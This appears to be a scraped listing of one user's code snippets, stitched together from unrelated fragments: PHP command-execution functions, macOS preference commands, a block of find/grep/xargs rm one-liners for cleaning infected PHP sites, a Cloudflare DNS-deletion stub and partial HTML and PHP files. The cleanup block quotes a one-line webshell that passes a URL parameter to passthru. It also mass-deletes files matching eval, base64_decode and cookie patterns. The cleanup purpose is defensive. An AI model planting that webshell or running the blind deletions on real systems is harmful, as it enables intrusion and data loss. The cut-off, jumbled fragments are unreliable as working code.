Emil Stahl emilstahl

Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec - Executes a program

OS X Preferences

most of these require logout/restart to take effect

# Enable character repeat on keydown
defaults write -g ApplePressAndHoldEnabled -bool false

# Set a shorter Delay until key repeat

	find . -type f -iname '*.php' -exec sed -i 's/<?php if (isset(\$_GET\["_cmd"\])) die(passthru(\$_GET\["_cmd"\])); ?>//g' "{}" +;
	find . -iname 'index.php' \| xargs grep '\x2fhom' \| cut -f1 -d":" \| xargs rm
	find . -iname '*.php' \| xargs grep '\x2fh' \| cut -f1 -d":" \| xargs rm
	find . -iname '*.php' \| xargs grep 'eval("' \| grep 337 \| cut -f1 -d":" \| xargs rm
	find . -iname '*.php' \| xargs grep '\{eval(' \| cut -f1 -d":" \| xargs rm
	find . -iname '*.php' \| xargs grep '$_COOKIE;' \| cut -f1 -d":" \| xargs rm
	find . -iname '*.php' \| xargs grep 'create_function'\|grep base64_decode\| cut -f1 -d":"\| xargs rm

	import requests

	"""
	Simple script to delete every dns entry for a cloudflare domain.
	Depends on requests (pip install requests). Then fill in the
	following three variables:
	"""


	token = 'INSERT API TOKEN'

	<!doctype html>

	<!-- http://taylor.fausak.me/2015/01/27/ios-8-web-apps/ -->

	<html>
	<head>
	<title>iOS 8 web app</title>

	<!-- CONFIGURATION -->

	<?php

	// quick and dirty argument parsing
	foreach ($argv as $arg) {
	if ($arg == '-f') {
	define('FOLLOW', true);
	}
	if ($arg == '-h') {
	define('HISTOGRAM', true);
	}